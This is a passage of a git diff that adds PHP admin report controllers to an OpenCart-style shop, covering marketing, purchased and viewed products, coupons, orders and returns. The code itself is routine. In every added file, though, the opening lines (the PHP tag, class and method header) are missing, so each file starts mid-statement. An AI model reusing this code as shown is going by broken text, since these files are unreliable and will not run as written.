+ $data['results'] = sprintf($this->language->get('text_pagination'), ($customer_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($customer_total - $this->config->get('config_limit_admin'))) ? $customer_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $customer_total, ceil($customer_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+ $data['filter_customer'] = $filter_customer;
+
+ return $this->load->view('extension/report/customer_transaction_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/marketing.php b/public/admin/controller/extension/report/marketing.php
new file mode 100644
index 0000000..0546a17
--- /dev/null
+++ b/public/admin/controller/extension/report/marketing.php
@@ -0,0 +1,162 @@
+load->language('extension/report/marketing');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_marketing', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/marketing', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/marketing', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_marketing_status'])) {
+ $data['report_marketing_status'] = $this->request->post['report_marketing_status'];
+ } else {
+ $data['report_marketing_status'] = $this->config->get('report_marketing_status');
+ }
+
+ if (isset($this->request->post['report_marketing_sort_order'])) {
+ $data['report_marketing_sort_order'] = $this->request->post['report_marketing_sort_order'];
+ } else {
+ $data['report_marketing_sort_order'] = $this->config->get('report_marketing_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/marketing_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/marketing')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/marketing');
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = '';
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = '';
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $filter_order_status_id = $this->request->get['filter_order_status_id'];
+ } else {
+ $filter_order_status_id = 0;
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/marketing');
+
+ $data['marketings'] = array();
+
+ $filter_data = array(
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'filter_order_status_id' => $filter_order_status_id,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $marketing_total = $this->model_extension_report_marketing->getTotalMarketing($filter_data);
+
+ $results = $this->model_extension_report_marketing->getMarketing($filter_data);
+
+ foreach ($results as $result) {
+ $data['marketings'][] = array(
+ 'campaign' => $result['campaign'],
+ 'code' => $result['code'],
+ 'clicks' => $result['clicks'],
+ 'orders' => $result['orders'],
+ 'total' => $this->currency->format($result['total'], $this->config->get('config_currency')),
+ 'action' => $this->url->link('marketing/marketing/edit', 'user_token=' . $this->session->data['user_token'] . '&marketing_id=' . $result['marketing_id'], true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ $url = '';
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $marketing_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=marketing' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($marketing_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($marketing_total - $this->config->get('config_limit_admin'))) ? $marketing_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $marketing_total, ceil($marketing_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+ $data['filter_order_status_id'] = $filter_order_status_id;
+
+ return $this->load->view('extension/report/marketing_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/product_purchased.php b/public/admin/controller/extension/report/product_purchased.php
new file mode 100644
index 0000000..dd1dca0
--- /dev/null
+++ b/public/admin/controller/extension/report/product_purchased.php
@@ -0,0 +1,160 @@
+load->language('extension/report/product_purchased');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_product_purchased', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/product_purchased', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/product_purchased', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_product_purchased_status'])) {
+ $data['report_product_purchased_status'] = $this->request->post['report_product_purchased_status'];
+ } else {
+ $data['report_product_purchased_status'] = $this->config->get('report_product_purchased_status');
+ }
+
+ if (isset($this->request->post['report_product_purchased_sort_order'])) {
+ $data['report_product_purchased_sort_order'] = $this->request->post['report_product_purchased_sort_order'];
+ } else {
+ $data['report_product_purchased_sort_order'] = $this->config->get('report_product_purchased_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/product_purchased_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/product_purchased')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/product_purchased');
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = '';
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = '';
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $filter_order_status_id = $this->request->get['filter_order_status_id'];
+ } else {
+ $filter_order_status_id = 0;
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/product');
+
+ $data['products'] = array();
+
+ $filter_data = array(
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'filter_order_status_id' => $filter_order_status_id,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $product_total = $this->model_extension_report_product->getTotalPurchased($filter_data);
+
+ $results = $this->model_extension_report_product->getPurchased($filter_data);
+
+ foreach ($results as $result) {
+ $data['products'][] = array(
+ 'name' => $result['name'],
+ 'model' => $result['model'],
+ 'quantity' => $result['quantity'],
+ 'total' => $this->currency->format($result['total'], $this->config->get('config_currency'))
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ $url = '';
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $product_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=product_purchased' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($product_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($product_total - $this->config->get('config_limit_admin'))) ? $product_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $product_total, ceil($product_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+ $data['filter_order_status_id'] = $filter_order_status_id;
+
+ return $this->load->view('extension/report/product_purchased_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/product_viewed.php b/public/admin/controller/extension/report/product_viewed.php
new file mode 100644
index 0000000..337386f
--- /dev/null
+++ b/public/admin/controller/extension/report/product_viewed.php
@@ -0,0 +1,149 @@
+load->language('extension/report/product_viewed');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_product_viewed', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/product_viewed', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/product_viewed', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_product_viewed_status'])) {
+ $data['report_product_viewed_status'] = $this->request->post['report_product_viewed_status'];
+ } else {
+ $data['report_product_viewed_status'] = $this->config->get('report_product_viewed_status');
+ }
+
+ if (isset($this->request->post['report_product_viewed_sort_order'])) {
+ $data['report_product_viewed_sort_order'] = $this->request->post['report_product_viewed_sort_order'];
+ } else {
+ $data['report_product_viewed_sort_order'] = $this->config->get('report_product_viewed_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/product_viewed_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/product_viewed')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/product_viewed');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $data['reset'] = $this->url->link('extension/report/product_viewed/reset', 'user_token=' . $this->session->data['user_token'], true);
+
+ $this->load->model('extension/report/product');
+
+ $filter_data = array(
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $data['products'] = array();
+
+ $product_viewed_total = $this->model_extension_report_product->getTotalProductViews();
+
+ $product_total = $this->model_extension_report_product->getTotalProductsViewed();
+
+ $results = $this->model_extension_report_product->getProductsViewed($filter_data);
+
+ foreach ($results as $result) {
+ if ($result['viewed']) {
+ $percent = round($result['viewed'] / $product_viewed_total * 100, 2);
+ } else {
+ $percent = 0;
+ }
+
+ $data['products'][] = array(
+ 'name' => $result['name'],
+ 'model' => $result['model'],
+ 'viewed' => $result['viewed'],
+ 'percent' => $percent . '%'
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $url = '';
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $product_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=product_viewed&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($product_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($product_total - $this->config->get('config_limit_admin'))) ? $product_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $product_total, ceil($product_total / $this->config->get('config_limit_admin')));
+
+ return $this->load->view('extension/report/product_viewed_info', $data);
+ }
+
+ public function reset() {
+ $this->load->language('extension/report/product_viewed');
+
+ if (!$this->user->hasPermission('modify', 'extension/report/product_viewed')) {
+ $this->session->data['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('extension/report/product');
+
+ $this->model_extension_report_product->reset();
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->redirect($this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=product_viewed', true));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/sale_coupon.php b/public/admin/controller/extension/report/sale_coupon.php
new file mode 100644
index 0000000..694877c
--- /dev/null
+++ b/public/admin/controller/extension/report/sale_coupon.php
@@ -0,0 +1,145 @@
+load->language('extension/report/sale_coupon');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_sale_coupon', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/sale_coupon', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/sale_coupon', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_sale_coupon_status'])) {
+ $data['report_sale_coupon_status'] = $this->request->post['report_sale_coupon_status'];
+ } else {
+ $data['report_sale_coupon_status'] = $this->config->get('report_sale_coupon_status');
+ }
+
+ if (isset($this->request->post['report_sale_coupon_sort_order'])) {
+ $data['report_sale_coupon_sort_order'] = $this->request->post['report_sale_coupon_sort_order'];
+ } else {
+ $data['report_sale_coupon_sort_order'] = $this->config->get('report_sale_coupon_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/sale_coupon_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/sale_coupon')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/sale_coupon');
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = '';
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = '';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/coupon');
+
+ $data['coupons'] = array();
+
+ $filter_data = array(
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $coupon_total = $this->model_extension_report_coupon->getTotalCoupons($filter_data);
+
+ $results = $this->model_extension_report_coupon->getCoupons($filter_data);
+
+ foreach ($results as $result) {
+ $data['coupons'][] = array(
+ 'name' => $result['name'],
+ 'code' => $result['code'],
+ 'orders' => $result['orders'],
+ 'total' => $this->currency->format($result['total'], $this->config->get('config_currency')),
+ 'edit' => $this->url->link('marketing/coupon/edit', 'user_token=' . $this->session->data['user_token'] . '&coupon_id=' . $result['coupon_id'], true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $url = '';
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $coupon_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=sale_coupon' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($coupon_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($coupon_total - $this->config->get('config_limit_admin'))) ? $coupon_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $coupon_total, ceil($coupon_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+
+ return $this->load->view('extension/report/sale_coupon_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/sale_order.php b/public/admin/controller/extension/report/sale_order.php
new file mode 100644
index 0000000..7ec99a7
--- /dev/null
+++ b/public/admin/controller/extension/report/sale_order.php
@@ -0,0 +1,196 @@
+load->language('extension/report/sale_order');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_sale_order', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/sale_order', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/sale_order', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_sale_order_status'])) {
+ $data['report_sale_order_status'] = $this->request->post['report_sale_order_status'];
+ } else {
+ $data['report_sale_order_status'] = $this->config->get('report_sale_order_status');
+ }
+
+ if (isset($this->request->post['report_sale_order_sort_order'])) {
+ $data['report_sale_order_sort_order'] = $this->request->post['report_sale_order_sort_order'];
+ } else {
+ $data['report_sale_order_sort_order'] = $this->config->get('report_sale_order_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/sale_order_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/sale_order')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/sale_order');
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = date('Y-m-d', strtotime(date('Y') . '-' . date('m') . '-01'));
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = date('Y-m-d');
+ }
+
+ if (isset($this->request->get['filter_group'])) {
+ $filter_group = $this->request->get['filter_group'];
+ } else {
+ $filter_group = 'week';
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $filter_order_status_id = $this->request->get['filter_order_status_id'];
+ } else {
+ $filter_order_status_id = 0;
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/sale');
+
+ $data['orders'] = array();
+
+ $filter_data = array(
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'filter_group' => $filter_group,
+ 'filter_order_status_id' => $filter_order_status_id,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $order_total = $this->model_extension_report_sale->getTotalOrders($filter_data);
+
+ $results = $this->model_extension_report_sale->getOrders($filter_data);
+
+ foreach ($results as $result) {
+ $data['orders'][] = array(
+ 'date_start' => date($this->language->get('date_format_short'), strtotime($result['date_start'])),
+ 'date_end' => date($this->language->get('date_format_short'), strtotime($result['date_end'])),
+ 'orders' => $result['orders'],
+ 'products' => $result['products'],
+ 'tax' => $this->currency->format($result['tax'], $this->config->get('config_currency')),
+ 'total' => $this->currency->format($result['total'], $this->config->get('config_currency'))
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ $data['groups'] = array();
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_year'),
+ 'value' => 'year',
+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_month'),
+ 'value' => 'month',
+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_week'),
+ 'value' => 'week',
+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_day'),
+ 'value' => 'day',
+ );
+
+ $url = '';
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ if (isset($this->request->get['filter_group'])) {
+ $url .= '&filter_group=' . $this->request->get['filter_group'];
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $order_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=sale_order' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($order_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($order_total - $this->config->get('config_limit_admin'))) ? $order_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $order_total, ceil($order_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+ $data['filter_group'] = $filter_group;
+ $data['filter_order_status_id'] = $filter_order_status_id;
+
+ return $this->load->view('extension/report/sale_order_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/sale_return.php b/public/admin/controller/extension/report/sale_return.php
new file mode 100644
index 0000000..3249078
--- /dev/null
+++ b/public/admin/controller/extension/report/sale_return.php
@@ -0,0 +1,193 @@
+load->language('extension/report/sale_return');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_sale_return', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/sale_return', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/sale_return', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_sale_return_status'])) {
+ $data['report_sale_return_status'] = $this->request->post['report_sale_return_status'];
+ } else {
+ $data['report_sale_return_status'] = $this->config->get('report_sale_return_status');
+ }
+
